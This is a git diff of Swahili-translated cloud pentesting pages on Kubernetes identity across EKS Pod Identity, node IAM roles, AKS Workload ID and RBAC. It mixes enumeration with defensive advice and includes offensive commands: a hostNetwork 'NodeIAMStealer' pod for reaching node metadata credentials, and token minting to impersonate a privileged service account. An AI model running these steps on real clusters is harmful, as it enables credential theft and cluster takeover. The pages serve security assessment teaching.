kubectl get pods -A -o yaml | grep -nE 'AWS_CONTAINER_CREDENTIALS|AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE|AWS_ROLE_ARN|AWS_WEB_IDENTITY_TOKEN_FILE'
|
||||
kubectl get serviceaccounts -A -o yaml | grep -nE 'eks.amazonaws.com|role-arn'
|
||||
kubectl get ds -A | grep -i 'pod.identity\|eks-pod-identity'
|
||||
```
|
||||
Kutoka AWS, enumerisha associations kisha zi-map back kwa Kubernetes namespaces na service accounts:
|
||||
```bash
|
||||
aws eks list-pod-identity-associations --cluster-name <cluster>
|
||||
aws eks describe-pod-identity-association \
|
||||
--cluster-name <cluster> \
|
||||
--association-id <association-id>
|
||||
```
|
||||
Ndani ya associated pod, main runtime indicators ni container credentials provider variables zilizodungwa na EKS:
|
||||
```bash
|
||||
env | grep -E '^AWS_CONTAINER_(CREDENTIALS_FULL_URI|AUTHORIZATION_TOKEN_FILE)='
|
||||
ls -l /var/run/secrets/pods.eks.amazonaws.com/serviceaccount/ 2>/dev/null
|
||||
aws sts get-caller-identity
|
||||
```
|
||||
Endpoint ya local credential kawaida ni `http://169.254.170.23/v1/credentials` na authorization token ni projected service account token kwa audience ya `pods.eks.amazonaws.com`. Kumbuka kwamba mpangilio wa AWS SDK credential-provider bado unatumika: ikiwa static environment credentials au shared credential files zimewekwa mapema kwenye chain, pod inaweza kutumia hivyo badala ya Pod Identity association.
|
||||
|
||||
Pod Identity roles kawaida huamini `pods.eks.amazonaws.com` service principal kwa `sts:AssumeRole` na `sts:TagSession`. Kagua trust-policy conditions kwenye request tags kama `kubernetes-namespace`, `kubernetes-service-account`, na cluster tags, kwa sababu broad conditions zinaweza kufanya reusable role ipatikane kwa service accounts nyingi sana. Pod Identity pia huongeza session tags kwenye temporary credentials, na tags hizo zinaweza kuendesha ABAC policies kama resource access kulingana na `${aws:PrincipalTag/kubernetes-namespace}` au `${aws:PrincipalTag/kubernetes-service-account}`.
|
||||
|
||||
Kwa cross-account access, Pod Identity association inaweza kutumia same-account role ambayo huchaini kwenda target role kwenye account nyingine. Katika hali hiyo, kagua tabaka zote mbili: EKS association role na target role trust/policy. Pod Identity session tags ni transitive kupitia role chain, hivyo ni ushahidi muhimu kwa kuonyesha ni cluster namespace na service account gani ilifikia remote account.
|
||||
|
||||
> [!WARNING]
|
||||
> Ikiwa unaweza kuunda au kubadilisha pods zinazotumia service account yenye EKS Pod Identity association, jaribu kama pod hiyo inapokea AWS permissions zenye faida. Ikiwa unalinda, onyo kwa new pod identity associations, unexpected service account use, na AWS API calls kutoka roles ambazo zinapaswa kutumiwa tu na specific workloads.
|
||||
|
||||
### EKS governance guardrails
|
||||
|
||||
Unapokagua EKS kutoka upande wa AWS, kumbuka kwamba IAM na AWS Organizations guardrails zinaweza kukataa unsafe cluster configuration hata wakati principal anaonekana kuwa na broad EKS permissions. Recent EKS condition keys hufunika cluster settings kama public au private endpoint access, Kubernetes version, secrets-encryption KMS keys, deletion protection, control-plane scaling tier, na zonal shift configuration. Keys hizi zinaweza kutumika katika IAM policies au Service Control Policies ili kutekeleza account-wide cluster baselines.
|
||||
|
||||
Hili ni muhimu kwa attack impact na triage. Ikiwa principal anaweza kuita `eks:UpdateClusterConfig` lakini SCP inakataza kuwezesha public endpoint kupitia `eks:endpointPublicAccess`, ripoti attempted risky action na guardrail iliyozuia badala ya kudai public API exposure. Kwa defenders, alert pia juu ya denied EKS configuration changes pamoja na successful changes, kwa sababu denied attempts zinaweza kufichua compromised automation, stale admin roles, au reconnaissance kabla ya pivot kwenda account isiyolindwa vizuri.
|
||||
|
||||
Useful references:
|
||||
|
||||
- [Amazon EKS IAM condition keys](https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonelastickubernetesservice.html)
|
||||
- [AWS Organizations service control policies](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps.html)
|
||||
|
||||
### Find Pods a SAs with IAM Roles in the Cluster
|
||||
|
||||
Hii ni script ya kufanya kwa urahisi **iterate over the all the pods and sas** definitions **looking** for **annotation** hiyo:
|
||||
Hii ni script ya kurahisisha **iterating over all the pods and sas** definitions **looking** for hiyo **annotation**:
|
||||
```bash
|
||||
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
|
||||
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
|
||||
@@ -255,24 +298,24 @@ done | grep -B 1 "amazonaws.com"
|
||||
```
|
||||
### Node IAM Role to cluster-admin
|
||||
|
||||
Sehemu iliyopita ilikuwa kuhusu jinsi ya kuiba IAM Roles kwa kutumia pods, lakini kumbuka kwamba **Node ya** K8s cluster itakuwa **instance ndani ya cloud**. Hii inamaanisha kwamba Node kuna uwezekano mkubwa sana **itakuwa na IAM role unayoweza kuiba** (_kumbuka kwamba kwa kawaida nodes zote za K8s cluster zitakuwa na IAM role ile ile, kwa hiyo huenda isiwe na maana kujaribu kuangalia kila node_).
|
||||
Sehemu iliyotangulia ilikuwa kuhusu jinsi ya kuiba IAM Roles kwa kutumia pods, lakini kumbuka kwamba **Node ya** K8s cluster itakuwa **instance ndani ya cloud**. Hii ina maana kwamba Node ina uwezekano mkubwa wa **kuwa na IAM role unaweza kuiba** (_kumbuka kwamba kwa kawaida nodes zote za K8s cluster zitakuwa na IAM role ileile, hivyo huenda isiwe na maana kujaribu kuangalia kila node_).
|
||||
|
||||
Ili kufikia node metadata endpoint unahitaji:
|
||||
- Uwe ndani ya pod na uwe na metadata endpoint imekonfigishwa angalau kuwa 2 tcp hops. Huu ndio usanidi mbaya unaopatikana mara nyingi zaidi kwa sababu kwa kawaida pods tofauti kwenye cluster zitahitaji ufikiaji wa metadata endpoint ili isivunjike na kampuni kadhaa huamua tu kuruhusu ufikiaji wa metadata endpoint kutoka kwa pods zote kwenye cluster.
|
||||
- Uwe ndani ya pod yenye `hostNetwork` imewezeshwa.
|
||||
- Toroka hadi kwenye node na fikia metadata endpoint moja kwa moja.
|
||||
- Kuwa ndani ya pod na kuwa na metadata endpoint iliyosanidiwa kwa angalau 2 tcp hops. Hii ndiyo misconfiguration ya kawaida zaidi kwa sababu kawaida pods tofauti ndani ya cluster zitahitaji access kwa metadata endpoint ili zisiathirike, na makampuni mengi huamua tu kuruhusu access kwa metadata endpoint kutoka kwa pods zote ndani ya cluster.
|
||||
- Kuwa ndani ya pod yenye `hostNetwork` imewezeshwa.
|
||||
- Escape kwenda kwenye node na kufikia metadata endpoint moja kwa moja.
|
||||
|
||||
(Kumbuka kwamba metadata endpoint iko 169.254.169.254 kama kawaida).
|
||||
|
||||
Katika mazingira mapya ya EKS, thibitisha node na cluster mode kabla ya kudhani pods zinaweza kufikia node instance profile. Amazon Linux 2023 EKS optimized AMIs huweka IMDS hop limit kuwa 1 kwa default, na EKS Auto Mode huwezesha `disablePodIMDS` kwa default, kwa hiyo ordinary pods hazipaswi kupokea node-role credentials isipokuwa operator alibadilisha settings hizo au pod ina njia nyingine ya kiwango cha node kama `hostNetwork` au node compromise. Mpangilio unaopendekezwa ni kuzuia pod access kwa node IMDS na kutumia IRSA au EKS Pod Identity kwa workload AWS permissions.
|
||||
Katika mazingira mapya ya EKS, thibitisha node na cluster mode kabla ya kudhani pods zinaweza kufikia node instance profile. Amazon Linux 2023 EKS optimized AMIs huweka IMDS hop limit kuwa 1 kwa default, na EKS Auto Mode huwezesha `disablePodIMDS` kwa default, hivyo ordinary pods hazipaswi kupokea node-role credentials isipokuwa operator alibadilisha settings hizo au pod ina njia nyingine ya kiwango cha node kama `hostNetwork` au node compromise. Pattern inayopendekezwa ni kuzuia pod access kwa node IMDS na kutumia IRSA au EKS Pod Identity kwa AWS permissions za workload.
|
||||
|
||||
Ili **kutoroka hadi kwenye node** unaweza kutumia amri ifuatayo kuendesha pod yenye `hostNetwork` imewezeshwa:
|
||||
Ili **escape to the node** unaweza kutumia amri ifuatayo kuendesha pod yenye `hostNetwork` imewezeshwa:
|
||||
```bash
|
||||
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'
|
||||
```
|
||||
### Chukua IAM Role Token
|
||||
### Chukua Token ya IAM Role
|
||||
|
||||
Hapo awali tumejadili jinsi ya **kuattach IAM Roles kwa Pods** au hata jinsi ya **kutoroka hadi Node ili kuiba IAM Role** ambayo instance imeiattach kwake.
|
||||
Hapo awali tumejadili jinsi ya **ku-attach IAM Roles kwa Pods** au hata jinsi ya **kutoroka hadi Node ili kuiba IAM Role** ambayo instance ime-attach kwake.
|
||||
|
||||
Unaweza kutumia script ifuatayo ili **kuiba** **IAM role credentials** zako mpya ulizofanyia kazi kwa bidii:
|
||||
```bash
|
||||
@@ -287,11 +330,11 @@ fi
|
||||
```
|
||||
### Privesc to cluster-admin
|
||||
|
||||
Kwa ufupi: ikiwa inawezekana **kufikia EKS Node IAM role** kutoka kwenye pod, inawezekana **kucompromise full kubernetes cluster**.
|
||||
Kwa muhtasari: ikiwa inawezekana **kufikia EKS Node IAM role** kutoka kwa pod, inawezekana **ku-compromise cluster yote ya kubernetes**.
|
||||
|
||||
Kwa maelezo zaidi angalia [this post](https://blog.calif.io/p/privilege-escalation-in-eks). Kwa ufupi, default IAM EKS role inayogawiwa EKS nodes kwa default inapewa role `system:node` ndani ya cluster. Role hii ni ya kuvutia sana ingawa imezuiwa na kubernetes [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction).
|
||||
Kwa maelezo zaidi angalia [this post](https://blog.calif.io/p/privilege-escalation-in-eks). Kwa muhtasari, default IAM EKS role ambayo hupewa EKS nodes kwa default hupewa role `system:node` ndani ya cluster. Role hii ni ya kuvutia sana ingawa imezuiwa na kubernetes [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction).
|
||||
|
||||
Hata hivyo, node inaweza kila wakati **generate tokens for service accounts** zinazoendeshwa kwenye pods ndani ya node. Kwa hiyo, ikiwa node inaendesha pod yenye privileged service account, node inaweza generate token kwa ajili ya service account hiyo na kuitumia kuimpersonate service account kama katika:
|
||||
Hata hivyo, node inaweza kila wakati **kuzalisha tokens kwa service accounts** zinazoendeshwa kwenye pods ndani ya node. Kwa hivyo, ikiwa node inaendesha pod yenye privileged service account, node inaweza kuzalisha token kwa ajili ya service account hiyo na kuitumia ku-impersonate service account kama katika:
|
||||
```bash
|
||||
kubectl --context=node1 create token -n ns1 sa-priv \
|
||||
--bound-object-kind=Pod \
|
||||
@@ -302,8 +345,8 @@ kubectl --context=node1 create token -n ns1 sa-priv \
|
||||
|
||||
Katika AKS, weka njia tatu za identity zikiwa zimetenganishwa wakati wa assessment:
|
||||
|
||||
- **Azure to Kubernetes**: Azure principals zinaweza kupata user au admin kubeconfigs kupitia Azure Resource Manager ikiwa Azure RBAC role yao inaruhusu. Local admin kubeconfigs kutoka `az aks get-credentials --admin` ni certificate-based credentials na zinaweza bypass kawaida Microsoft Entra user/group governance isipokuwa local accounts zimezimwa.
|
||||
- **Microsoft Entra to Kubernetes**: Entra-integrated clusters huthibitisha users, groups, au service principals kupitia `kubelogin`/exec kubeconfigs. Hatua ya mwisho ya Kubernetes inaweza ku-authorizeiwa na native Kubernetes RBAC au na Azure RBAC for Kubernetes Authorization.
|
||||
- **Azure to Kubernetes**: Azure principals zinaweza kupata user au admin kubeconfigs kupitia Azure Resource Manager ikiwa Azure RBAC role yao inaruhusu. Local admin kubeconfigs kutoka `az aks get-credentials --admin` ni certificate-based credentials na zinaweza bypass kawaida ya Microsoft Entra user/group governance isipokuwa local accounts zimezimwa.
|
||||
- **Microsoft Entra to Kubernetes**: Entra-integrated clusters huthibitisha users, groups, au service principals kupitia `kubelogin`/exec kubeconfigs. Hatua ya mwisho ya Kubernetes inaweza kuauthorized na native Kubernetes RBAC au na Azure RBAC for Kubernetes Authorization.
|
||||
- **Kubernetes to Azure**: Pods zinapaswa kawaida kutumia Microsoft Entra Workload ID, ambayo hubadilisha projected Kubernetes service account tokens na Entra kupitia AKS OIDC issuer na federated identity credentials.
|
||||
|
||||
Useful AKS identity checks from Azure:
|
||||
@@ -316,12 +359,12 @@ AKS_ID=$(az aks show -g <resource-group> -n <cluster> --query id -o tsv)
|
||||
az role assignment list --scope "$AKS_ID" --include-inherited -o table
|
||||
az role assignment list --scope "$AKS_ID/namespaces/<namespace>" -o table
|
||||
```
|
||||
Kutoka Kubernetes, tafuta signals za AKS Workload ID:
|
||||
Kutoka kwa Kubernetes, tafuta ishara za AKS Workload ID:
|
||||
```bash
|
||||
kubectl get serviceaccounts -A -o yaml | grep -n 'azure.workload.identity' -B 6 -A 8
|
||||
kubectl get pods -A -o yaml | grep -n 'azure.workload.identity/use' -B 8 -A 8
|
||||
```
|
||||
Sehemu muhimu za Workload ID kwa kawaida ni:
|
||||
Sehemu muhimu za Workload ID kawaida ni:
|
||||
```yaml
|
||||
metadata:
|
||||
annotations:
|
||||
@@ -332,21 +375,43 @@ metadata:
|
||||
labels:
|
||||
azure.workload.identity/use: "true"
|
||||
```
|
||||
Ikiwa cluster bado inatumia deprecated Microsoft Entra pod-managed identity model, tafuta old CRDs na NMI/MIC components badala ya Workload ID annotations:
|
||||
Mazingira mapya ya AKS yanaweza kutumia **AKS Identity Bindings** (preview) ili ku-scale Workload ID kwenye clusters nyingi au service accounts bila kuunda federated identity credential moja kwa kila subject. Katika modeli hiyo, user-assigned managed identity ina-boundiwa kwa AKS cluster, workloads hujichagulia kwa `azure.workload.identity/use-identity-binding: "true"`, na Kubernetes RBAC hutoa `use-managed-identity` kwenye `cid.wi.aks.azure.com` resources zilizopewa majina kulingana na managed identity client IDs. `ClusterRoleBinding` pana hapa inaweza kufichua Azure identity ileile kwa namespaces zaidi kuliko ilivyotarajiwa, hata kama direct federated identity credential subjects zinaonekana kuwa nyembamba.
|
||||
```bash
|
||||
az aks identity-binding list -g <resource-group> --cluster-name <cluster> -o yaml
|
||||
kubectl get clusterrole,clusterrolebinding -o yaml | grep -n 'cid.wi.aks.azure.com\|use-managed-identity' -B 8 -A 12
|
||||
kubectl get pods -A -o yaml | grep -n 'azure.workload.identity/use-identity-binding' -B 8 -A 12
|
||||
```
|
||||
Ikiwa cluster bado inatumia model ya deprecated Microsoft Entra pod-managed identity, tafuta old CRDs na NMI/MIC components badala ya Workload ID annotations:
|
||||
```bash
|
||||
kubectl get crd | grep -i azureidentity
|
||||
kubectl get azureidentity,azureidentitybinding,azureassignedidentity -A -o yaml 2>/dev/null
|
||||
kubectl get ds -A | grep -Ei 'nmi|mic|aad-pod-identity'
|
||||
```
|
||||
AKS nodes ni Azure VM scale set instances, hivyo node au host-level access inaweza kufichua Azure Instance Metadata Service kwenye `169.254.169.254`. Usidhani ordinary pod inapaswa kupokea node managed identity credentials: hakiki workload identity settings, legacy pod identity/NMI behavior, hostNetwork usage, network controls, na node access kwanza. Ikiwa node identity ina broad Azure permissions, node compromise inaweza kuwa Azure pivot hata wakati application Workload ID imesanidiwa kwa usahihi.
|
||||
AKS nodes ni Azure VM scale set instances, hivyo upatikanaji wa node au host-level unaweza kufichua Azure Instance Metadata Service kwenye `169.254.169.254`. Usidhani pod ya kawaida inapaswa kupokea node managed identity credentials: thibitisha workload identity settings, legacy pod identity/NMI behavior, matumizi ya hostNetwork, network controls, na node access kwanza. Ikiwa node identity ina Azure permissions pana, compromise ya node inaweza kuwa Azure pivot hata wakati application Workload ID imesanidiwa kwa usahihi.
|
||||
|
||||
## References
|
||||
AKS Automatic na Node Auto-Provisioning (NAP) hubadilisha evidence upande wa node unayopaswa kukusanya. AKS Automatic huweka mapema several production defaults, ikijumuisha Workload ID/OIDC support, managed node pools, node resource group lockdown, na managed upgrade behavior. NAP ni mode ya provisioning inayosimamiwa kwa Karpenter-based na hutumia Kubernetes resources kama `NodePool`, `AKSNodeClass`, na `NodeClaim` kuamua nodes zipi zitaundwa kwa pending workloads. Pitia ni nani anaweza kurekebisha resources hizo, high-impact scheduling controls, privileged pods, na broad tolerations; pia kagua kama node resource group lockdown ilizuia direct VMSS/load balancer edits na kulazimisha mabadiliko kurudi kupitia Kubernetes au AKS APIs.
|
||||
```bash
|
||||
az aks show -g <resource-group> -n <cluster> \
|
||||
--query '{sku:sku,nodeProvisioningProfile:nodeProvisioningProfile,autoUpgradeProfile:autoUpgradeProfile,nodeResourceGroup:nodeResourceGroup,securityProfile:securityProfile}' \
|
||||
-o yaml
|
||||
|
||||
kubectl get crd | grep -Ei 'nodepool|aksnodeclass|nodeclaim|karpenter'
|
||||
kubectl get nodepools,aksnodeclasses,nodeclaims -A -o yaml 2>/dev/null
|
||||
```
|
||||
## Marejeo
|
||||
|
||||
- [https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity](https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity)
|
||||
- [https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)
|
||||
- [https://blogs.halodoc.io/iam-roles-for-service-accounts-2/](https://blogs.halodoc.io/iam-roles-for-service-accounts-2/)
|
||||
- [https://docs.aws.amazon.com/eks/latest/userguide/pod-identities.html](https://docs.aws.amazon.com/eks/latest/userguide/pod-identities.html)
|
||||
- [https://docs.aws.amazon.com/eks/latest/userguide/pod-id-how-it-works.html](https://docs.aws.amazon.com/eks/latest/userguide/pod-id-how-it-works.html)
|
||||
- [https://learn.microsoft.com/en-us/azure/aks/concepts-identity](https://learn.microsoft.com/en-us/azure/aks/concepts-identity)
|
||||
- [https://learn.microsoft.com/en-us/azure/aks/workload-identity-overview](https://learn.microsoft.com/en-us/azure/aks/workload-identity-overview)
|
||||
- [https://learn.microsoft.com/en-us/azure/aks/identity-bindings-concepts](https://learn.microsoft.com/en-us/azure/aks/identity-bindings-concepts)
|
||||
- [https://learn.microsoft.com/en-us/azure/aks/identity-bindings](https://learn.microsoft.com/en-us/azure/aks/identity-bindings)
|
||||
- [https://learn.microsoft.com/en-us/azure/aks/entra-id-authorization](https://learn.microsoft.com/en-us/azure/aks/entra-id-authorization)
|
||||
- [https://learn.microsoft.com/en-us/azure/aks/intro-aks-automatic](https://learn.microsoft.com/en-us/azure/aks/intro-aks-automatic)
|
||||
- [https://learn.microsoft.com/en-us/azure/aks/node-auto-provisioning](https://learn.microsoft.com/en-us/azure/aks/node-auto-provisioning)
|
||||
- [https://learn.microsoft.com/en-us/azure/aks/node-resource-group-lockdown](https://learn.microsoft.com/en-us/azure/aks/node-resource-group-lockdown)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
+35
-26
@@ -4,57 +4,65 @@
|
||||
|
||||
## Role-Based Access Control (RBAC)
|
||||
|
||||
Kubernetes ina **authorization module inayoitwa Role-Based Access Control** ([**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)) ambayo husaidia kuweka ruhusa za utilization kwa API server.
|
||||
Kubernetes ina **authorization module inayoitwa Role-Based Access Control** ([**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)) ambayo husaidia kuweka ruhusa za matumizi kwa API server.
|
||||
|
||||
Mfumo wa ruhusa wa RBAC umejengwa kutoka sehemu **tatu za kibinafsi**:
|
||||
Mfumo wa ruhusa wa RBAC umejengwa kutoka kwa **sehemu tatu za kibinafsi**:
|
||||
|
||||
1. **Role\ClusterRole –** Ruhusa halisi. Inajumuisha _**rules**_ ambazo zinawakilisha seti ya ruhusa. Kila rule ina [resources](https://kubernetes.io/docs/reference/kubectl/overview/#resource-types) na [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb). Verb ni action itakayotumika kwenye resource.
|
||||
1. **Role\ClusterRole –** Ruhusa yenyewe. Inajumuisha _**rules**_ ambazo zinawakilisha seti ya ruhusa. Kila rule ina [resources](https://kubernetes.io/docs/reference/kubectl/overview/#resource-types) na [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb). Verb ni action itakayotekelezwa kwenye resource.
|
||||
2. **Subject (User, Group or ServiceAccount) –** Object itakayopokea ruhusa.
|
||||
3. **RoleBinding\ClusterRoleBinding –** Muunganisho kati ya Role\ClusterRole na subject.
|
||||
3. **RoleBinding\ClusterRoleBinding –** Uunganisho kati ya Role\ClusterRole na subject.
|
||||
|
||||
|
||||
|
||||
Tofauti kati ya “**Roles**” na “**ClusterRoles**” ni tu mahali ambapo role itatumika – “**Role**” itatoa access kwa **namespace** **moja** tu **maalum**, wakati “**ClusterRole**” inaweza kutumika katika **all namespaces** kwenye cluster. Zaidi ya hayo, **ClusterRoles** pia zinaweza kutoa access kwa:
|
||||
Tofauti kati ya “**Roles**” na “**ClusterRoles**” ni mahali tu ambapo role itatumika – “**Role**” itatoa access kwa **namespace moja** **maalum** pekee, wakati “**ClusterRole**” inaweza kutumika katika **namespaces zote** kwenye cluster. Zaidi ya hayo, **ClusterRoles** pia zinaweza kutoa access kwa:
|
||||
|
||||
- resources za **cluster-scoped** (kama nodes).
|
||||
- endpoints za **non-resource** (kama /healthz).
|
||||
- resources zenye namespace (kama Pods), **katika all namespaces**.
|
||||
- namespaced resources (kama Pods), **katika namespaces zote**.
|
||||
|
||||
Kuanzia **Kubernetes** 1.6 kuendelea, sera za **RBAC** zimewashwa **kwa default**. Lakini ili kuwasha RBAC unaweza kutumia kitu kama:
|
||||
Kuanzia **Kubernetes** 1.6 kuendelea, policies za **RBAC** zimewashwa **kwa chaguomsingi**. Lakini ili kuwasha RBAC unaweza kutumia kitu kama:
|
||||
```
|
||||
kube-apiserver --authorization-mode=Example,RBAC --other-options --more-options
|
||||
```
|
||||
Klabu za kisasa pia zinaweza kusanidi mnyororo wa authorizer wa API server kwa `--authorization-config`, ambayo inaelekeza kwenye faili ya `AuthorizationConfiguration`. Faili hii inaweza kufafanua authorizer zilizopangwa kwa mpangilio, webhook authorizer nyingi, timeout za webhook, `failurePolicy`, mipangilio ya cache, na CEL `matchConditions` zinazoamua ni maombi gani yanatumwa kwa webhook. Wakati wa security review, usiishie kwenye `--authorization-mode` ikiwa `--authorization-config` ipo: soma faili iliyorejelewa na kagua kama webhook inaweza fail open kwa `NoOpinion`, kama match conditions zinapuuza sensitive resources, na kama API server replicas zote zinatumia authorization configuration inayolingana.
|
||||
|
||||
Pia kagua authentication configuration unapo-review anonymous API exposure. `--authentication-config` inaweza kuweka upeo wa anonymous authenticator kwa paths maalum kama `/livez`, `/readyz`, na `/healthz`. Ufikiaji wa anonymous wa health endpoint si sawa na ufikiaji wa anonymous wa Kubernetes resources; hali hatari ni RBAC au authorizer path inayoruhusu `system:anonymous` au `system:unauthenticated` kusoma au kurekebisha real API objects.
|
||||
|
||||
Mwisho, chukulia uanachama katika `system:masters` kama sawa na cluster-admin. Watumiaji au certificates katika kundi hili wana unrestricted API access inayopita kawaida RBAC na webhook authorization restrictions, kwa hiyo identity mappings zinazoongeza kundi hili zinaweza kuwa muhimu zaidi kuliko kawaida ya RoleBinding output.
|
||||
|
||||
## Templates
|
||||
|
||||
Katika template ya **Role** au **ClusterRole** utahitaji kuonyesha **jina la role**, **namespace** (katika roles) na kisha **apiGroups**, **resources** na **verbs** za role:
|
||||
|
||||
- **apiGroups** ni array inayobeba **API namespaces** tofauti ambazo rule hii inatumika kwake. Kwa mfano, ufafanuzi wa Pod hutumia apiVersion: v1. _Inaweza kuwa na values kama rbac.authorization.k8s.io au \[\*]_.
|
||||
- **resources** ni array inayofafanua **ni resources gani rule hii inatumika kwake**. Unaweza kupata resources zote kwa: `kubectl api-resources --namespaced=true`
|
||||
- **verbs** ni array inayobeba **verbs zinazoruhusiwa**. Verb katika Kubernetes hufafanua **aina ya action** unayohitaji kutumia kwa resource. Kwa mfano, verb ya list hutumika dhidi ya collections wakati "get" hutumika dhidi ya resource moja.
|
||||
- **apiGroups** ni array inayobeba **API namespaces** tofauti ambazo rule hii inatumika kwao. Kwa mfano, Pod definition hutumia apiVersion: v1. _Inaweza kuwa na values kama rbac.authorization.k8s.io au \[\*]_.
|
||||
- **resources** ni array inayofafanua **ni resources zipi rule hii inatumika kwao**. Unaweza kupata resources zote kwa: `kubectl api-resources --namespaced=true`
|
||||
- **verbs** ni array inayobeba **verbs zinazoruhusiwa**. Verb katika Kubernetes inafafanua **aina ya action** unayohitaji kutumia kwenye resource. Kwa mfano, verb ya list hutumika dhidi ya collections ilhali "get" hutumika dhidi ya resource moja.
|
||||
|
||||
### Rules Verbs
|
||||
|
||||
(_Maelezo haya yalichukuliwa kutoka_ [_**the docs**_](https://kubernetes.io/docs/reference/access-authn-authz/authorization/index.html#determine-the-request-verb))
|
||||
(_Habari hii ilichukuliwa kutoka_ [_**the docs**_](https://kubernetes.io/docs/reference/access-authn-authz/authorization/index.html#determine-the-request-verb))
|
||||
|
||||
| HTTP verb | request verb |
|
||||
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| POST | create |
|
||||
| GET, HEAD | get (kwa resources binafsi), list (kwa collections, ikijumuisha full object content), watch (kwa kuwatch resource binafsi au collection ya resources) |
|
||||
| GET, HEAD | get (for individual resources), list (for collections, including full object content), watch (for watching an individual resource or collection of resources) |
|
||||
| PUT | update |
|
||||
| PATCH | patch |
|
||||
| DELETE | delete (kwa resources binafsi), deletecollection (kwa collections) |
|
||||
| DELETE | delete (for individual resources), deletecollection (for collections) |
|
||||
|
||||
Kubernetes wakati mwingine hukagua authorization kwa permissions za ziada kwa kutumia specialized verbs. Kwa mfano:
|
||||
|
||||
- [PodSecurityPolicy](https://kubernetes.io/docs/concepts/policy/pod-security-policy/)
|
||||
- verb `use` kwenye resources `podsecuritypolicies` katika API group `policy`.
|
||||
- verb `use` kwenye resources za `podsecuritypolicies` katika API group ya `policy`.
|
||||
- [RBAC](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping)
|
||||
- verbs `bind` na `escalate` kwenye resources `roles` na `clusterroles` katika API group `rbac.authorization.k8s.io`.
|
||||
- verbs `bind` na `escalate` kwenye resources za `roles` na `clusterroles` katika API group ya `rbac.authorization.k8s.io`.
|
||||
- [Authentication](https://kubernetes.io/docs/reference/access-authn-authz/authentication/)
|
||||
- verb `impersonate` kwenye `users`, `groups`, na `serviceaccounts` katika core API group, na `userextras` katika API group `authentication.k8s.io`.
|
||||
- verb `impersonate` kwenye `users`, `groups`, na `serviceaccounts` katika core API group, na `userextras` katika API group ya `authentication.k8s.io`.
|
||||
|
||||
Kubernetes v1.36 pia inajumuisha **constrained impersonation** kama beta feature. Badala ya kutoa tu legacy all-or-nothing `impersonate` verb, klabu zinaweza kutoa mode-specific verbs kama `impersonate:user-info`, `impersonate:serviceaccount`, `impersonate:arbitrary-node`, au `impersonate:associated-node`, pamoja na action-specific verbs kama `impersonate-on:user-info:list` kwenye target resource. Kagua pande zote mbili: identity ambayo subject inaweza impersonate na actions ambazo inaweza kutekeleza wakati wa impersonating. Legacy `impersonate` rules bado zinaweza kuruhusu access pana zaidi, kwa hiyo usidhani verbs zinazoonekana kuwa constrained zinatekelezwa isipokuwa API server version na ushahidi wa access-review vikithibitisha hilo.
|
||||
|
||||
> [!WARNING]
|
||||
> Unaweza kupata **verbs zote ambazo kila resource inasaidia** kwa kutekeleza `kubectl api-resources --sort-by name -o wide`
|
||||
> Unaweza kupata **verbs zote zinazoungwa mkono na kila resource** kwa kutekeleza `kubectl api-resources --sort-by name -o wide`
|
||||
|
||||
### Examples
|
||||
```yaml:Role
|
||||
@@ -84,9 +92,9 @@ Kwa mfano unaweza kutumia **ClusterRole** kuruhusu mtumiaji fulani kuendesha:
|
||||
```
|
||||
kubectl get pods --all-namespaces
|
||||
```
|
||||
### **RoleBinding na ClusterRoleBinding**
|
||||
### **RoleBinding and ClusterRoleBinding**
|
||||
|
||||
[**Kutoka kwenye docs:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) **role binding huipa ruhusa zilizofafanuliwa kwenye role kwa user au seti ya users**. Inashikilia list ya subjects (users, groups, au service accounts), na reference kwa role inayotolewa. **RoleBinding** huipa ruhusa ndani ya **namespace** maalum ilhali **ClusterRoleBinding** huipa access hiyo **cluster-wide**.
|
||||
[**From the docs:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) A **role binding grants the permissions defined in a role to a user or set of users**. Ina orodha ya subjects (users, groups, or service accounts), na rejeleo kwa role inayotolewa. A **RoleBinding** grants permissions ndani ya **namespace** mahususi ilhali a **ClusterRoleBinding** grants that access **cluster-wide**.
|
||||
```yaml:RoleBinding
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
# This role binding allows "jane" to read pods in the "default" namespace.
|
||||
@@ -122,13 +130,13 @@ kind: ClusterRole
|
||||
name: secret-reader
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
```
|
||||
**Ruhusa ni za kuongezwa** hivyo kama una clusterRole yenye “list” na “delete” secrets unaweza kuiongeza na Role yenye “get”. Kwa hiyo kuwa makini na kila wakati test roles na permissions zako na **taja nini kimeRuhusiwa, kwa sababu kila kitu kimeKATAZWA kwa default.**
|
||||
**Permissions ni additive** hivyo kama una clusterRole yenye “list” na “delete” secrets unaweza kuiweka pamoja na Role yenye “get”. Kwa hiyo kuwa mwangalifu na kila wakati test roles na permissions zako na **specify kile kinachoruhusiwa, kwa sababu kila kitu DENIED by default.**
|
||||
|
||||
